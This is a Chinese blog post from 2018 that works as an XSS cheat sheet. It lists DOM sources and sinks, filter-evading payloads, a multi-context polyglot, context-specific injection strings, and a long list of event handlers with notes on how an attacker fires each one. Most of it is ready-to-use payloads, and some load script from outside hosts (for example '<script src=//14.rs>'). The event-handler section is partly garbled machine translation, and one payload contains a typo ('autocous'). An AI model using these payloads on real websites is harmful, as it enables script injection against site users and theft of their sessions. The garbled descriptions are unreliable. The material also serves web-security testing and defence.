非常棒的xss

拓展&演示

工具

漏洞产生来源: 可由外部(不受信任)来控制的输入。

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink:可能导致漏洞的潜在危险方法。

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

有效负载

<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>

不错的Polyglots,可以突破20多个上下文:

%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

标签&事件处理

  • 105个JavaScript事件处理程序

    •   
      FSCommand(嵌入的Flash对象内被执行时,攻击者可以使用这个) 
      onAbort(当用户中止图像的加载) 
      onActivate(当对象被设置为有源元件) 
      onAfterPrint(用户打印或预览打印作业后,激活) 
      onAfterUpdate(更新源对象中的数据之后激活数据对象) 
      onBeforeActivate(在对象设置为活动元素之前触发) 
      onBeforeCopy(攻击者在选择复制到剪贴板之前执行攻击字符串 - 攻击者可以使用execCommand执行此操作( “复制”)功能) 
      onBeforeCut(攻击者在切换选择之前执行攻击字符串) 
      onBeforeDeactivate(在当前对象更改activeElement之后
      立即触发) onBeforeEditFocus(在可编辑元素中包含的对象进入UI激活状态或可编辑容器对象之前触发是选择控制) 
      onBeforePaste(用户需要被欺骗粘贴或使用execCommand(“粘贴”)功能强制进入它) 
      onBeforePrint(用户需要被欺骗打印或攻击者可以使用print或execCommand(“打印”) )功能)。 
      onBeforeUnload(用户需要被欺骗关闭浏览器 - 攻击者无法卸载Windows,除非它是从父级生成的) 
      onBeforeUpdate(在更新源对象中的数据之前激活数据对象) 
      onBegin(onbegin事件在元素的时间轴开始时立即触发) 
      onBlur(在加载另一个弹出窗口且窗口失去焦点的情况下) 
      onBounce(当行为属性为将marquee对象设置为“alternate”并且选取框的内容到达窗口的一侧) 
      onCellChange(在数据提供程序中数据更改时触发) 
      onChange(select,text或TEXTAREA字段失去焦点并且其值已被修改) ) 
      onClick(有人点击表格) 
      onContextMenu(用户需要右键点击攻击区域) 
      onControlSelect(当用户即将对对象进行控件选择时触发) 
      onCopy(用户需要复制某些东西或者可以使用execCommand(“复制”)命令进行
      攻击) onCut(用户需要复制某些内容或者它可以是使用execCommand(“Cut”)命令 
      onDataAvailable(用户需要更改元素中的数据,或者攻击者可以执行相同的功能) 
      onDataSetChanged(当数据源对象公开的数据集发生更改时触发) 
      onDataSetComplete(触发到指示所有数据都可从数据源对象中获取 
      onDblClick(用户双击表单元素或链接) 
      onDeactivate(当activeElement从当前对象更改为父文档中的另一个对象时触发) 
      onDrag(要求用户拖动对象) 
      onDragEnd(要求用户拖动对象)
      onDragLeave(要求用户将对象拖出一个对象) 有效位置) 
      onDragEnter(要求用户将对象拖动到有效位置) 
      onDragOver(要求用户将对象拖动到有效位置) 
      onDragDrop(用户将对象(例如文件)
      拖放到浏览器窗口上) onDragStart(发生在用户开始拖动操作) 
      onDrop(用户将对象(例如文件)放到浏览器窗口上) 
      onEnd(当时间轴结束onEnd事件触发。 
      onerror的一个文件,(装载或图像导致错误) 
      onErrorUpdate时,同时更新在数据源对象关联的数据中出现错误绑定对象上(火灾) 
      onFilterChange(火灾时,视觉过滤器完成状态的改变) 
      onFinish(攻击者可以创建在选取框完成循环利用漏洞) 
      的onfocus(攻击者执行时的窗口得到集中攻击的字符串) 
      onFocusIn(攻击者执行时窗口获得焦点)攻击字符串 
      onfocusout在(攻击者执行攻击字符串当窗口失去焦点时) 
      onHashChange(当文档的当前地址的片段标识符部分发生更改时
      触发) onHelp(攻击者在窗口聚焦时用户点击F1时执行攻击字符串) 
      onInput(元素的文本内容通过用户界面更改) 
      onKeyDown(用户)压下一个键 
      onKeyPress(用户按下或按住一个键) 
      onKeyUp(用户释放一个键) 
      onLayoutComplete(用户必须打印或打印预览) 
      onLoad(攻击者在窗口加载后执行攻击字符串) 
      onLoseCapture(可以被releaseCapture方法) 
      onMediaComplete(当使用流媒体文件时,此事件可能在文件开始播放之前触发) 
      onMediaError(用户在浏览器中打开包含媒体文件的页面,并在出现问题时触发事件)
      onMessage(文件触发时) 收到消息) 
      onMouseDown(攻击者需要让用户点击图像) 
      onMouseEnter(光标移动到对象或区域上) 
      onMouseLeave(攻击者需要让用户将鼠标悬停在图像或表格上然后关闭再次) 
      onMouseMove(攻击者需要让用户将鼠标悬停在图像或表格上) 
      onMouseOut(攻击者需要让用户将鼠标悬停在图像或表上然后再关闭) 
      onMouseOver(光标移动到对象或区域上) 
      onMouseUp(攻击者需要让用户点击图像) 
      onMouseWheel(攻击者需要让用户使用他们的鼠标滚轮 
      onMove(用户或攻击者会移动页面) 
      onMoveEnd(用户或攻击者会移动页面) 
      onMoveStart(用户或攻击者会移动页面) 
      onOffline(如果浏览器是在线模式下工作并开始离线工作) 
      onOnline(如果浏览器在离线模式下工作并且它开始在线工作,则会发生) 
      onOutOfSync(中断元素播放其时间轴定义的媒体的能力) 
      onPaste(用户需要粘贴或攻击者可以使用execCommand(“粘贴”)函数) 
      onPause(onpause事件触发每个活动的元素,当
      online(包括body元素) onPopState(当用户导航会话历史时触发) 
      onProgress(攻击者会将此作为flash影片加载) 
      onPropertyChange(用户或攻击者需要更改元素属性) 
      onReadyStateChange(用户或攻击者会需要更改元素属性) 
      onRedo(用户在撤消事务历史记录中前进) 
      onRepeat(事件每次重复时间线触发一次,不包括第一个完整周期) 
      onReset(用户或攻击者重置表单) 
      onResize(用户可以调整窗口大小;攻击者可以自动初始化类似:<SCRIPT> self.resizeTo (500,400); </ SCRIPT>) 
      onResizeEnd(用户可以调整窗口大小;攻击者可以自动初始化类似:<SCRIPT> self.resizeTo(500,400); </ SCRIPT>) 
      onResizeStart(用户可以调整窗口大小;攻击者可以自动初始化类似于:<SCRIPT> self.resizeTo(500,400); </ SCRIPT>) 
      onResume(onresume事件触发时间线恢复时变为活动的每个元素, 包括body元素) 
      onReverse(如果元素的repeatCount大于1,则每次时间线开始向后播放时都会触发此事件) 
      onRowsEnter(用户或攻击者需要更改数据源中的行) 
      onRowExit(用户或攻击者需要更改行)在数据源中) 
      onRowDelete(用户或攻击者需要删除数据源中的一行) 
      onRowInserted(用户或攻击者需要在数据源中插入一行) 
      onScroll(用户需要滚动,否则攻击者可以使用scrollBy函数) 
      onSeek(onreverse事件在时间轴设置为在除前向之外的任何方向上播放时触发) 
      onSelect(用户需要选择一些文本 - 攻击者可以自动初始化类似于:window.document.execCommand(“SelectAll”);) 
      onSelectionChange(用户需要选择一些文本 - 攻击者可以自动初始化类似于:window.document.execCommand (“SelectAll”);) 
      onSelectStart(用户需要选择一些文本 - 攻击者可以自动初始化类似于:window.document.execCommand(“SelectAll”);) 
      onStart(在每个选取框循环的开头触发) 
      onStop(用户)需要按停止按钮或离开网页) 
      onStorage(存储区域已更改) 
      onSyncRestored(用户中断元素' 能够播放按时间线定义的媒体播放的能力)
      onSubmit(要求攻击者或用户提交表单) 
      onTimeError(用户或攻击者将时间属性,例如dur设置为无效值) 
      onTrackChange(用户或攻击者在playList中更改轨道) 
      onUndo(用户在撤消事务历史记录中向后) 
      onUnload(当用户点击任何链接或按下后退按钮或攻击者强制点击时) 
      onURLFlip(当HTML + TIME(定时交互式多媒体扩展)媒体标记播放的高级流格式(ASF)文件处理时,此事件将触发嵌入在ASF文件中的脚本命令) 
      seekSegmentTime (这是一种在元素的段时间线上定位指定点并从该点开始播放的方法。该段包含一个时间线的重复,包括使用AUTOREVERSE属性的反向播放。)
      View Code

将使用的标签

img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

非常棒的

HTML 

Case: <tag>You searched for $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Attribute

Case: <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autocous/onfocus="alert()

JavaScript 

Case: <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
posted @ 2018-12-07 20:22  TiAmo-ing  阅读(374)  评论(0编辑  收藏  举报